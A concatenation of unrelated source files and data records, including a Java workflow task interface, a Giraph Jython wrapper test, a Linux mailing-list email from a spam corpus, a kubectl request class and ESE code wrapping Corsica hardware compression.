判断当前任务是否可回退到上一任务节点 * @param task 任务对象 * @return 返回布尔值 */ boolean canWithdraw(Task task); /** * 根据ID获取一个任务对象 * @param taskId 任务ID * @return 返回任务对象 */ Task getTask(long taskId); /** * 认领一个任务 * @param taskId 要认领任务的ID * @param username 认领任务的人的用户名 */ void claim(long taskId, String username); /** * 对认领后的任务进行释放,从而允许其它人认领 * @param taskId 要释放任务的ID */ void release(long taskId); /** * 开始处理一个任务 * @param taskId 任务的ID */ void start(long taskId); /** * 批量开始一批任务 * @param taskIds 要开始的任务的ID集合 */ void batchStart(List<Long> taskIds); /** * 批量开始并完成一批指定的任务,并可写入指定的流程变量 * @param taskIds 要完成的任务的ID集合 * @param variables 要回写的流程变量 */ void batchStartAndComplete(List<Long> taskIds,Map<String,Object> variables); /** * 批量开始并完成一批指定的任务,并可写入指定的流程变量 * @param taskIds 要完成的任务的ID集合 * @param variables 要回写的流程变量 * @param opinion 任务处理意见 */ void batchStartAndComplete(List<Long> taskIds,Map<String,Object> variables,TaskOpinion opinion); /** * 将一个任务挂起 * @param taskId 要挂起的任务的ID */ void suspend(long taskId); /** * 让处于挂起状态的任务恢复正常 * @param taskId 要操作的任务的ID */ void resume(long taskId); /** * 删除一个任务实例,要求这个任务对应的实例实例未结束,否则将不能删除 * @param taskId 任务实例ID */ void deleteTask(long taskId); /** * 删除某个任务节点上产生的所有任务实例,要求这里的processInstanceId对应的流程实例未结束 * @param processInstanceId 流程实例ID * @param nodeName 任务节点名称 */ void deleteTaskByNode(long processInstanceId,String nodeName); /** * 取消指定的任务,任务状态将会标记上Canceled标记,同时任务也会被插入到历史表中,以备查询 * @param taskId 任务ID */ void cancelTask(long taskId); /** * 取消指定的任务,任务状态将会标记上Canceled标记,同时任务也会被插入到历史表中,以备查询 * @param taskId 任务ID * @param opinion 任务处理意见 */ void cancelTask(long taskId,TaskOpinion opinion); /** * 根据任务ID取得当前任务潜在处理人列表 * @param taskId 任务ID * @return 处理人列表 */ List<TaskParticipator> getTaskParticipators(long taskId); /** * 获取指定流程实例下任务节点的通过指派的任务处理人信息 * @param taskNodeName 任务节点名称 * @param processInstanceId 流程实例ID * @return TaskAppointor集合 */ List<TaskAppointor> getTaskAppointors(String taskNodeName,long processInstanceId); /** * 更改任务处理人 * @param taskId 任务ID * @param username 新的处理人用户名 */ void changeTaskAssignee(long taskId,String username); /** * 查找指定任务节点上指定key对象的UserData的值 * @param task 任务对象 * @param key UserData的key值 * @return UserData对应的value值 */ String getUserData(Task task,String key); /** * 查找指定任务节点上指定key对象的UserData的值 * @param processId 流程模版ID * @param taskNodeName 任务节点名称 * @param key UserData的key值 * @return UserData对应的value值 */ String getUserData(long processId,String taskNodeName,String key); TaskQuery createTaskQuery(); List<TaskReminder> getTaskReminders(long taskId); void deleteTaskReminder(long taskReminderId); List<TaskReminder> getAllTaskReminders(); }
7,455
411
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.giraph.jython; import org.apache.giraph.jython.wrappers.JythonWritableWrapper; import org.junit.Test; import org.python.core.PyClass; import org.python.core.PyFunction; import org.python.core.PyInteger; import org.python.core.PyMethod; import org.python.core.PyObject; import org.python.util.PythonInterpreter; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertTrue; public class TestJythonWritableWrapper { @Test public void testWrap() throws IOException { String jython = "class Foo:\n" + " def __init__(self):\n" + " self.val = 17\n" + "\n" + " def do_add(self, x):\n" + " self.val += x\n" + "\n" + " def do_add_squared(self, x):\n" + " self.do_add(x * x)\n" + "\n" + " def new_other(self):\n" + " self.other_val = 3\n" + "\n" + "def outside_add_squared(foo, x):\n" + " foo.do_add_squared(x)\n" + "\n"; PythonInterpreter interpreter = new PythonInterpreter(); interpreter.exec(jython); PyObject fooClass = interpreter.get("Foo"); assertTrue(fooClass instanceof PyClass); PyObject foo = fooClass.__call__(); PyObject fooVal = foo.__getattr__("val"); assertTrue(fooVal instanceof PyInteger); PyInteger val = (PyInteger) fooVal; assertEquals(17, val.getValue()); PyObject function = interpreter.get("outside_add_squared"); assertTrue("method class: " + function.getClass(), function instanceof PyFunction); function.__call__(foo, new PyInteger(3)); fooVal = foo.__getattr__("val"); assertTrue(fooVal instanceof PyInteger); val = (PyInteger) fooVal; assertEquals(26, val.getValue()); JythonWritableWrapper wrappedFoo = new JythonWritableWrapper(foo); PyObject newOtherMethod = wrappedFoo.__getattr__("new_other"); assertTrue(newOtherMethod instanceof PyMethod); newOtherMethod.__call__(); function.__call__(wrappedFoo, new PyInteger(2)); fooVal = foo.__getattr__("val"); assertTrue(fooVal instanceof PyInteger); val = (PyInteger) fooVal; assertEquals(30, val.getValue()); ByteArrayOutputStream baos = new ByteArrayOutputStream(); DataOutputStream dos = new DataOutputStream(baos); wrappedFoo.write(dos); byte[] data = baos.toByteArray(); ByteArrayInputStream bais = new ByteArrayInputStream(data); DataInputStream dis = new DataInputStream(bais); PyObject foo2 = fooClass.__call__(); PyObject foo2Val = foo2.__getattr__("val"); assertTrue(foo2Val instanceof PyInteger); PyInteger val2 = (PyInteger) foo2Val; assertEquals(17, val2.getValue()); JythonWritableWrapper wrappedFoo2 = new JythonWritableWrapper(foo2); foo2Val = wrappedFoo2.getPyObject().__getattr__("val"); assertTrue(foo2Val instanceof PyInteger); val2 = (PyInteger) foo2Val; assertEquals(17, val2.getValue()); wrappedFoo2.readFields(dis); foo2Val = wrappedFoo2.getPyObject().__getattr__("val"); assertTrue(foo2Val instanceof PyInteger); val2 = (PyInteger) foo2Val; assertEquals(30, val2.getValue()); } }
1,529
3,428
<reponame>ghalimi/stdlib {"id":"00300","group":"easy-ham-2","checksum":{"type":"MD5","value":"7c83dd137e4d39f9be3db9eafefdd7e6"},"text":"From <EMAIL> Fri Aug 9 15:13:15 2002\nReturn-Path: <<EMAIL>>\nDelivered-To: y<EMAIL>noteinc.com\nReceived: from localhost (localhost [127.0.0.1])\n\tby phobos.labs.netnoteinc.com (Postfix) with ESMTP id C28E743FB1\n\tfor <jm@localhost>; Fri, 9 Aug 2002 10:13:14 -0400 (EDT)\nReceived: from phobos [127.0.0.1]\n\tby localhost with IMAP (fetchmail-5.9.0)\n\tfor jm@localhost (single-drop); Fri, 09 Aug 2002 15:13:14 +0100 (IST)\nReceived: from lugh.tuatha.org (<EMAIL> [192.168.127.12]) by\n dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79E7nb04858 for\n <<EMAIL>>; Fri, 9 Aug 2002 15:07:49 +0100\nReceived: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org\n (8.9.3/8.9.3) with ESMTP id PAA12105; Fri, 9 Aug 2002 15:04:25 +0100\nReceived: from mail.tradesignals.com ([217.75.2.27]) by lugh.tuatha.org\n (8.9.3/8.9.3) with ESMTP id PAA12073 for <<EMAIL>>; Fri,\n 9 Aug 2002 15:04:17 +0100\nX-Authentication-Warning: lugh.tuatha.org: Host [192.168.3.11] claimed to\n be mail.tradesignals.com\nReceived: from docaoimh.tradesignals.com (docaoimh.tradesignals.com\n [192.168.1.26]) by mail.tradesignals.com (8.11.6/8.11.6) with ESMTP id\n g79E46T27004; Fri, 9 Aug 2002 15:04:06 +0100\nReceived: from localhost (localhost [[UNIX: localhost]]) by\n docaoimh.tradesignals.com (8.11.6/8.11.6) id g79E47Q07780; Fri,\n 9 Aug 2002 15:04:07 +0100\nContent-Type: text/plain; charset=\"iso-8859-1\"\nFrom: <NAME> <<EMAIL>>\nTo: \"<NAME>\" <<EMAIL>>,\n\t\"Ilug (E-mail)\" <<EMAIL>>\nSubject: Re: [ILUG] Digital Cameras\nDate: Fri, 9 Aug 2002 15:04:07 +0100\nX-Mailer: KMail [version 1.4]\nReferences: <<EMAIL>>\nIn-Reply-To: <<EMAIL>>\nMIME-Version: 1.0\nMessage-Id: <<EMAIL>2<EMAIL>9150<EMAIL>>\nContent-Transfer-Encoding: 8bit\nX-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id\n PAA12073\nSender: ilug-admin<EMAIL>\nErrors-To: [email protected]\nX-Mailman-Version: 1.1\nPrecedence: bulk\nList-Id: Irish Linux Users' Group <ilug.linux.ie>\nX-Beenthere: [email protected]\n\nIf it has a usb cable it'll more than likely work. You just plug it in, load \nthe right modules and mount the camera as another device. You should eject \nthe device after unmounting just to be kind to the camera..\n\nDo a google search and you'll find plenty of info.\n\nDonncha.\n\n\nOn Friday 09 August 2002 14:59, Satelle, StevenX wrote:\n> Has anyone had any experience with using a digital camera with Linux, I'm\n> thinking of buying one. The camera will definitely be a HP camera (Since I\n> work for them and get a company discount) either a photosmart 318 or a\n> photosmart 120 and I would prefer to know before I buy if I can get it to\n> work or not\n>\n> Steven Satelle\n> TAC\n> i606 4372\n\n-- \nIrish Linux Users' Group: <EMAIL>\nhttp://www.linux.ie/mailman/listinfo/ilug for (un)subscription information.\nList maintainer: <EMAIL>\n\n\n"}
1,245
407
package com.alibaba.tesla.appmanager.domain.req.kubectl; import com.alibaba.fastjson.JSONObject; import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; import lombok.NoArgsConstructor; import java.io.Serializable; /** * Kubectl Apply 请求 * * @author <EMAIL> */ @Data @Builder @NoArgsConstructor @AllArgsConstructor public class KubectlApplyReq implements Serializable { /** * 目标集群 */ private String clusterId; /** * 目标 Namespace */ private String namespaceId; /** * 请求内容 */ private JSONObject content; }
249
803
// Copyright (c) Microsoft Corporation. // Licensed under the MIT License. #define UNICODE #define _UNICODE #include <malloc.h> #include <memory.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #pragma prefast(push) #pragma prefast(disable:26006, "Dont bother us with tchar, someone else owns that.") #pragma prefast(disable:26007, "Dont bother us with tchar, someone else owns that.") #pragma prefast(disable:28718, "Dont bother us with tchar, someone else owns that.") #pragma prefast(disable:28726, "Dont bother us with tchar, someone else owns that.") #include <tchar.h> #pragma prefast(pop) #ifndef WIN32_LEAN_AND_MEAN #define WIN32_LEAN_AND_MEAN #endif // WIN32_LEAN_AND_MEAN #include <windows.h> #include "CorsicaApi.h" #include "osu.hxx" #include "jet.h" // Number of compression-encrytion and decompression-decryption queues that the current hardware // revision supports. Given that our payloads are at most 8k, unclear if we actually need 8 queues // per process for optimal performance, but that is what we are going with right now. constexpr ULONGLONG NUM_CE_QUEUES = 8; constexpr ULONGLONG NUM_DD_QUEUES = 8; struct CORSICA_WRAPPER : public CZeroInit { CORSICA_WRAPPER() : CZeroInit( sizeof( CORSICA_WRAPPER ) ) {} ~CORSICA_WRAPPER() { if (m_hChannel != NULL) { CorsicaChannelDelete(m_hChannel); m_hChannel = NULL; } if (m_hDevice != NULL) { CorsicaDeviceClose(m_hDevice); m_hDevice = NULL; } } // servicing encode/decode requests CORSICA_HANDLE m_hDevice; CORSICA_HANDLE m_hChannel; USHORT m_rgusDefaultCeQueueId[NUM_CE_QUEUES]; LONG m_lLastUsedCeQueueId; USHORT m_rgusDefaultDdQueueId[NUM_DD_QUEUES]; LONG m_lLastUsedDdQueueId; bool m_fHealthy; }; CORSICA_WRAPPER *g_pWrapper = NULL; enum CORSICA_FAILURE_REASON { FailureReasonUnknown = 0, MemoryAllocationFailure, CorsicaLibraryInitializeFailed, CorsicaDeviceEnumeratorCreateFailed, CorsicaDeviceEnumeratorGetCountFailed, TooManyOrTooFewCorsicaDevicesDetected, CorsicaDeviceEnumeratorGetItemFailed, CorsicaDeviceOpenFailed, CorsicaDeviceQueryInformationFailed, CorsicaDeviceIsInMaintenanceMode, CorsicaDeviceQueryUserResourcesFailed, TooManyOrTooFewQueueGroupsDetected, CorsicaChannelCreateFailed, CorsicaChannelAddResourceFailed, CorsicaChannelFinalizeFailed, CorsicaRequestQueryAuxiliaryBufferSizeFailed, EngineAuxBufferNotInExpectedFormat, UserAuxBufferSizeNotInExpectedFormat, CorsicaRequestGetBackingBufferSizeFailed, RequestContextSizeTooBig, CorsicaRequestInitializeFailed, CorsicaRequestGetResponsePointerFailed, CorsicaRequestSetBuffersFailed, CorsicaRequestExecuteFailed, EngineExecutionError, }; PCWSTR ReasonToString[] = { L"UnknownFailure", L"MemoryAllocationFailure", L"CorsicaLibraryInitializeFailed", L"CorsicaDeviceEnumeratorCreateFailed", L"CorsicaDeviceEnumeratorGetCountFailed", L"TooManyOrTooFewCorsicaDevicesDetected", L"CorsicaDeviceEnumeratorGetItemFailed", L"CorsicaDeviceOpenFailed", L"CorsicaDeviceQueryInformationFailed", L"CorsicaDeviceIsInMaintenanceMode", L"CorsicaDeviceQueryUserResourcesFailed", L"TooManyOrTooFewQueueGroupsDetected", L"CorsicaChannelCreateFailed", L"CorsicaChannelAddResourceFailed", L"CorsicaChannelFinalizeFailed", L"CorsicaRequestQueryAuxiliaryBufferSizeFailed", L"EngineAuxBufferNotInExpectedFormat", L"UserAuxBufferSizeNotInExpectedFormat", L"CorsicaRequestGetBackingBufferSizeFailed", L"RequestContextSizeTooBig", L"CorsicaRequestInitializeFailed", L"CorsicaRequestGetResponsePointerFailed", L"CorsicaRequestSetBuffersFailed", L"CorsicaRequestExecuteFailed", L"EngineExecutionError", }; BOOL FXpress10CorsicaHealthy() { return g_pWrapper != NULL && g_pWrapper->m_fHealthy; } VOID Xpress10CorsicaTerm() { delete g_pWrapper; g_pWrapper = NULL; } CORSICA_STATUS ChannelRegister( ULONG ChannelId, CORSICA_FAILURE_REASON *preason ) { CORSICA_STATUS status; CORSICA_CHANNEL_ADD_RESOURCE_INPUT addResource; CORSICA_CHANNEL_ADD_RESOURCE_OUTPUT addResourceOut; status = CorsicaChannelCreate( g_pWrapper->m_hDevice, ChannelId, 0 /* ChannelCreateFlags */, &g_pWrapper->m_hChannel ); if (FAILED(status)) { *preason = CorsicaChannelCreateFailed; goto HandleError; } CORSICA_CHANNEL_ADD_RESOURCE_INPUT_INIT(&addResource); addResource.ResourceType = CorsicaChannelAddResourceTypeQueue; addResource.Queue.EngineClass = CorsicaEngineClassHigh; addResource.Queue.EngineType = CorsicaEngineTypeCE; addResource.Queue.Priority = CorsicaQueuePriority0; for (ULONG i = 0; i < NUM_CE_QUEUES; i++) { CORSICA_CHANNEL_ADD_RESOURCE_OUTPUT_INIT(&addResourceOut); status = CorsicaChannelAddResource( g_pWrapper->m_hChannel, &addResource, &addResourceOut ); if (FAILED(status)) { *preason = CorsicaChannelAddResourceFailed; goto HandleError; } g_pWrapper->m_rgusDefaultCeQueueId[i] = addResourceOut.Queue.QueueId; } addResource.Queue.EngineType = CorsicaEngineTypeDD; for (ULONG i = 0; i < NUM_DD_QUEUES; i++) { CORSICA_CHANNEL_ADD_RESOURCE_OUTPUT_INIT(&addResourceOut); status = CorsicaChannelAddResource( g_pWrapper->m_hChannel, &addResource, &addResourceOut ); if (FAILED(status)) { *preason = CorsicaChannelAddResourceFailed; goto HandleError; } g_pWrapper->m_rgusDefaultDdQueueId[i] = addResourceOut.Queue.QueueId; } status = CorsicaChannelFinalize( g_pWrapper->m_hChannel ); if (FAILED(status)) { *preason = CorsicaChannelFinalizeFailed; goto HandleError; } return status; HandleError: if (g_pWrapper->m_hChannel != NULL) { CorsicaChannelDelete(g_pWrapper->m_hChannel); g_pWrapper->m_hChannel = NULL; } return status; } ERR ErrXpress10CorsicaInit() { ERR err = ErrERRCheck( JET_errDeviceFailure ); CORSICA_STATUS status = 0; CORSICA_FAILURE_REASON reason = FailureReasonUnknown; ULONG count; CORSICA_HANDLE hDeviceEnum = NULL; CORSICA_HANDLE hLibrary = NULL; CORSICA_DEVICE_SETUP_INFORMATION deviceSetupInfo; CORSICA_DEVICE_USER_RESOURCE_INFORMATION userResources; CORSICA_DEVICE_INFORMATION deviceInformation; g_pWrapper = new CORSICA_WRAPPER; if ( g_pWrapper == NULL ) { reason = MemoryAllocationFailure; goto HandleError; } g_pWrapper->m_lLastUsedCeQueueId = 0; g_pWrapper->m_lLastUsedDdQueueId = 0; __try { status = CorsicaLibraryInitialize( CORSICA_LIBRARY_VERSION_CURRENT, &hLibrary ); } __except (EXCEPTION_EXECUTE_HANDLER) { status = HRESULT_FROM_WIN32( ERROR_MOD_NOT_FOUND ); } if (FAILED(status)) { reason = CorsicaLibraryInitializeFailed; goto HandleError; } status = CorsicaDeviceEnumeratorCreate( hLibrary, NULL, 0, &hDeviceEnum ); if (FAILED(status)) { reason = CorsicaDeviceEnumeratorCreateFailed; goto HandleError; } status = CorsicaDeviceEnumeratorGetCount( hDeviceEnum, &count ); if (FAILED(status)) { reason = CorsicaDeviceEnumeratorGetCountFailed; goto HandleError; } if ( count != 1 ) { reason = TooManyOrTooFewCorsicaDevicesDetected; goto HandleError; } CORSICA_DEVICE_SETUP_INFORMATION_INIT( &deviceSetupInfo ); status = CorsicaDeviceEnumeratorGetItem( hDeviceEnum, 0 /* DeviceIndex */, &deviceSetupInfo ); if (FAILED(status)) { reason = CorsicaDeviceEnumeratorGetItemFailed; goto HandleError; } status = CorsicaDeviceOpen( hLibrary, deviceSetupInfo.DeviceId, nullptr, 0 /* DeviceOpenFlags */, &g_pWrapper->m_hDevice ); if (FAILED(status)) { reason = CorsicaDeviceOpenFailed; goto HandleError; } CORSICA_DEVICE_INFORMATION_INIT(&deviceInformation); status = CorsicaDeviceQueryInformation( g_pWrapper->m_hDevice, &deviceInformation ); if (FAILED(status)) { reason = CorsicaDeviceQueryInformationFailed; goto HandleError; } if ( deviceInformation.Flags.MaintenanceMode == TRUE ) { reason = CorsicaDeviceIsInMaintenanceMode; goto HandleError; } CORSICA_DEVICE_USER_RESOURCE_INFORMATION_INIT(&userResources); status = CorsicaDeviceQueryUserResources( g_pWrapper->m_hDevice, &userResources ); if (FAILED(status)) { reason = CorsicaDeviceQueryUserResourcesFailed; goto HandleError; } if ( userResources.QueueGroupCount <= 1 ) { reason = TooManyOrTooFewQueueGroupsDetected; goto HandleError; } ULONG attempt = 0; do { // Temp fix for channel-id conflict between multiple processes to try random channels, // corsica team working on a better API to checkout channel. ULONG ChannelId = rand() % userResources.QueueGroupCount; status = ChannelRegister( ChannelId, &reason ); attempt++; } while ( status == HRESULT_FROM_WIN32(ERROR_NO_SYSTEM_RESOURCES) && attempt < 10 ); if (FAILED(status)) { goto HandleError; } g_pWrapper->m_fHealthy = fTrue; err = JET_errSuccess; HandleError: if ( hDeviceEnum != NULL ) { CorsicaDeviceEnumeratorDestroy( hDeviceEnum ); hDeviceEnum = NULL; } if ( hLibrary != NULL ) { CorsicaLibraryUninitialize( hLibrary ); hLibrary = NULL; } if ( err < JET_errSuccess ) { WCHAR wszStatus[16]; PCWSTR rgwsz[2]; OSStrCbFormatW( wszStatus, sizeof(wszStatus), L"%d", status ); rgwsz[0] = wszStatus; rgwsz[1] = ReasonToString[ reason ]; UtilReportEvent( eventWarning, GENERAL_CATEGORY, CORSICA_INIT_FAILED_ID, 2, rgwsz ); Xpress10CorsicaTerm(); } return err; } // Temp: error code for when output buffer is not big enough to hold the output // Adding until Corsica folks add it to their redist header #define CORSICA_BUFFER_OVERRUN 192 LOCAL ERR InternalCorsicaRequest( CORSICA_REQUEST_PARAMETERS* pRequestParameters, CORSICA_REQUEST_BUFFERS* pRequestBuffers, ULONG* pEngineOutputCb, QWORD* pdhrtHardwareLatency ) { ERR err = ErrERRCheck( JET_errDeviceFailure ); CORSICA_FAILURE_REASON reason = FailureReasonUnknown; CORSICA_STATUS status = -1; CORSICA_HANDLE hRequest = (CORSICA_HANDLE)-1; PCORSICA_ENGINE_RESPONSE pEngineResponsePointer = NULL; size_t uRequestContextSize = 0; BYTE requestContext[1024]; size_t engineAuxBufferSize; size_t userAuxBufferSize; status = CorsicaRequestQueryAuxiliaryBufferSize( g_pWrapper->m_hChannel, pRequestParameters, pRequestBuffers->SourceBufferList[0].DataSize, &userAuxBufferSize, &engineAuxBufferSize ); if (FAILED(status)) { reason = CorsicaRequestQueryAuxiliaryBufferSizeFailed; goto HandleError; } if ( engineAuxBufferSize != sizeof(CORSICA_AUX_FRAME_DATA_IN_PLACE_SHORT_IM) ) { reason = EngineAuxBufferNotInExpectedFormat; goto HandleError; } if ( userAuxBufferSize != 0 ) { reason = UserAuxBufferSizeNotInExpectedFormat; goto HandleError; } status = CorsicaRequestGetBackingBufferSize( g_pWrapper->m_hChannel, &uRequestContextSize ); if (FAILED(status)) { reason = CorsicaRequestGetBackingBufferSizeFailed; goto HandleError; } if ( uRequestContextSize > sizeof(requestContext) ) { reason = RequestContextSizeTooBig; goto HandleError; } status = CorsicaRequestInitialize( g_pWrapper->m_hChannel, requestContext, uRequestContextSize, pRequestParameters, &hRequest ); if (FAILED(status)) { reason = CorsicaRequestInitializeFailed; goto HandleError; } status = CorsicaRequestGetResponsePointer( hRequest, &pEngineResponsePointer ); if (FAILED(status)) { reason = CorsicaRequestGetResponsePointerFailed; goto HandleError; } status = CorsicaRequestSetBuffers( hRequest, pRequestBuffers ); if (FAILED(status)) { reason = CorsicaRequestSetBuffersFailed; goto HandleError; } status = CorsicaRequestExecute( hRequest, NULL ); if (FAILED(status)) { reason = CorsicaRequestExecuteFailed; goto HandleError; } if ( pEngineResponsePointer->StatusCode != CORSICA_REQUEST_STATUS_SUCCESS ) { status = pEngineResponsePointer->StatusCode; reason = EngineExecutionError; goto HandleError; } *pEngineOutputCb = pEngineResponsePointer->OutputDataCb; *pdhrtHardwareLatency = pEngineResponsePointer->Latency; err = JET_errSuccess; HandleError: if ( hRequest != NULL ) { CorsicaRequestUninitialize( hRequest ); hRequest = NULL; } if ( err < JET_errSuccess && // compression can report buffer overrun for uncompressible input, no need to event for that. ( status != CORSICA_BUFFER_OVERRUN || pRequestParameters->DecryptDecompress ) ) { if ( reason == EngineExecutionError && pEngineResponsePointer->EngineErrorCode != 0 ) { g_pWrapper->m_fHealthy = fFalse; } WCHAR wszStatus[16], wszEngineStatus[16]; PCWSTR rgwsz[4]; OSStrCbFormatW( wszStatus, sizeof(wszStatus), L"%d", status ); rgwsz[0] = wszStatus; OSStrCbFormatW( wszEngineStatus, sizeof(wszEngineStatus), L"%d", pEngineResponsePointer ? pEngineResponsePointer->EngineErrorCode : -1 ); rgwsz[1] = wszEngineStatus; rgwsz[2] = ReasonToString[ reason ]; rgwsz[3] = pRequestParameters->DecryptDecompress ? L"Decompress" : L"Compress"; UtilReportEvent( eventWarning, GENERAL_CATEGORY, CORSICA_REQUEST_FAILED_ID, _countof(rgwsz), rgwsz ); } return err; } ERR ErrXpress10CorsicaCompress( _In_reads_bytes_(UncompressedBufferSize) const BYTE * UncompressedBuffer, _In_ ULONG UncompressedBufferSize, _Out_writes_bytes_to_(CompressedBufferSize, *FinalCompressedSize) BYTE * CompressedBuffer, _In_ ULONG CompressedBufferSize, _Out_ PULONG FinalCompressedSize, _Out_ PULONGLONG pCrc, _Out_ QWORD *pdhrtHardwareLatency ) { ERR err = JET_errSuccess; CORSICA_REQUEST_PARAMETERS requestParameters; CORSICA_REQUEST_PARAMETERS_INIT(&requestParameters); // Just round-robin the queues rather than keeping track and trying to find an empty queue. // Maybe if we started compressing/decompressing larger payload, we may need a different allocation mechanism. requestParameters.QueueId = g_pWrapper->m_rgusDefaultCeQueueId[ AtomicIncrement( &g_pWrapper->m_lLastUsedCeQueueId ) % NUM_CE_QUEUES ]; requestParameters.DecryptDecompress = false; requestParameters.FrameParameters.FrameType = CorsicaFrameTypeNone; requestParameters.CompressionParameters.CompressionAlgorithm = CorsicaCompressionAlgorithmXp10; requestParameters.CompressionParameters.Lz77WindowSize = CorsicaCompressionLz77WindowSize64K; requestParameters.CompressionParameters.Lz77MinMatch = CorsicaCompressionLz77MinMatchLengthChar4; requestParameters.CompressionParameters.Lz77MaxSymbolLength = CorsicaCompressionLz77MaxSymbolLengthUnrestricted; requestParameters.CompressionParameters.Lz77DelayedWindowSelect = CorsicaCompressionLz77DelayedMatchWindowSelectChar2; requestParameters.CompressionParameters.Xp10PrefixMode = CorsicaCompressionXp10PrefixModeNone; requestParameters.CompressionParameters.Xp10CrcSize = CorsicaCompressionXp10Crc64B; CORSICA_REQUEST_BUFFERS requestBuffers; CORSICA_REQUEST_BUFFERS_INIT(&requestBuffers); CORSICA_REQUEST_BUFFER_ELEMENT sourceBufferElement; sourceBufferElement.DataPointer = (PUCHAR)UncompressedBuffer; sourceBufferElement.DataSize = UncompressedBufferSize; requestBuffers.SourceBufferList = &sourceBufferElement; requestBuffers.SourceBufferListCount = 1; CORSICA_REQUEST_BUFFER_ELEMENT destinationBufferElement; destinationBufferElement.DataPointer = CompressedBuffer; destinationBufferElement.DataSize = CompressedBufferSize; requestBuffers.DestinationBufferList = &destinationBufferElement; requestBuffers.DestinationBufferListCount = 1; requestBuffers.SourceAuxFrameBufferListCount = 0; CORSICA_AUX_FRAME_DATA_IN_PLACE_SHORT_IM auxFrame = {0}; CORSICA_REQUEST_BUFFER_ELEMENT destinationAuxBufferElement; destinationAuxBufferElement.DataPointer = (PUCHAR)&auxFrame; destinationAuxBufferElement.DataSize = sizeof(auxFrame); requestBuffers.DestinationAuxFrameBufferList = &destinationAuxBufferElement; requestBuffers.DestinationAuxFrameBufferListCount = 1; Call( InternalCorsicaRequest( &requestParameters, &requestBuffers, FinalCompressedSize, pdhrtHardwareLatency ) ); *pCrc = auxFrame.CipherDataChecksum; HandleError: if ( err < JET_errSuccess ) { err = errRECCannotCompress; } return err; } ERR ErrXpress10CorsicaDecompress( _Out_writes_bytes_to_(UncompressedBufferSize, *FinalUncompressedSize) BYTE * UncompressedBuffer, _In_ ULONG UncompressedBufferSize, _In_reads_bytes_(CompressedBufferSize) const BYTE * CompressedBuffer, _In_ ULONG CompressedBufferSize, _In_ ULONGLONG Crc, _Out_ PULONG FinalUncompressedSize, _Out_ QWORD *pdhrtHardwareLatency ) { ERR err = JET_errSuccess; CORSICA_REQUEST_PARAMETERS requestParameters; CORSICA_REQUEST_PARAMETERS_INIT(&requestParameters); // Just round-robin the queues rather than keeping track and trying to find an empty queue. // Maybe if we started compressing/decompressing larger payload, we may need a different allocation mechanism. requestParameters.QueueId = g_pWrapper->m_rgusDefaultDdQueueId[ AtomicIncrement( &g_pWrapper->m_lLastUsedDdQueueId ) % NUM_DD_QUEUES ]; requestParameters.DecryptDecompress = true; requestParameters.FrameParameters.FrameType = CorsicaFrameTypeNone; requestParameters.CompressionParameters.CompressionAlgorithm = CorsicaCompressionAlgorithmXp10; requestParameters.CompressionParameters.Lz77WindowSize = CorsicaCompressionLz77WindowSize64K; requestParameters.CompressionParameters.Lz77MinMatch = CorsicaCompressionLz77MinMatchLengthChar4; requestParameters.CompressionParameters.Lz77MaxSymbolLength = CorsicaCompressionLz77MaxSymbolLengthUnrestricted; requestParameters.CompressionParameters.Lz77DelayedWindowSelect = CorsicaCompressionLz77DelayedMatchWindowSelectChar2; requestParameters.CompressionParameters.Xp10PrefixMode = CorsicaCompressionXp10PrefixModeNone; requestParameters.CompressionParameters.Xp10CrcSize = CorsicaCompressionXp10Crc64B; CORSICA_REQUEST_BUFFERS requestBuffers; CORSICA_REQUEST_BUFFERS_INIT(&requestBuffers); CORSICA_REQUEST_BUFFER_ELEMENT sourceBufferElement; sourceBufferElement.DataPointer = (PUCHAR)CompressedBuffer; sourceBufferElement.DataSize = CompressedBufferSize; requestBuffers.SourceBufferList = &sourceBufferElement; requestBuffers.SourceBufferListCount = 1; CORSICA_REQUEST_BUFFER_ELEMENT destinationBufferElement; destinationBufferElement.DataPointer = UncompressedBuffer; destinationBufferElement.DataSize = UncompressedBufferSize; requestBuffers.DestinationBufferList = &destinationBufferElement; requestBuffers.DestinationBufferListCount = 1; CORSICA_AUX_FRAME_DATA_IN_PLACE_SHORT_IM auxFrame = {0}; auxFrame.CipherDataChecksum = Crc; auxFrame.DataLength = CompressedBufferSize; CORSICA_REQUEST_BUFFER_ELEMENT sourceAuxBufferElement; sourceAuxBufferElement.DataPointer = (PUCHAR)&auxFrame; sourceAuxBufferElement.DataSize = sizeof(auxFrame); requestBuffers.SourceAuxFrameBufferList = &sourceAuxBufferElement; requestBuffers.SourceAuxFrameBufferListCount = 1; requestBuffers.DestinationAuxFrameBufferListCount = 0; err = InternalCorsicaRequest( &requestParameters, &requestBuffers, FinalUncompressedSize, pdhrtHardwareLatency ); return err; }
8,162
653
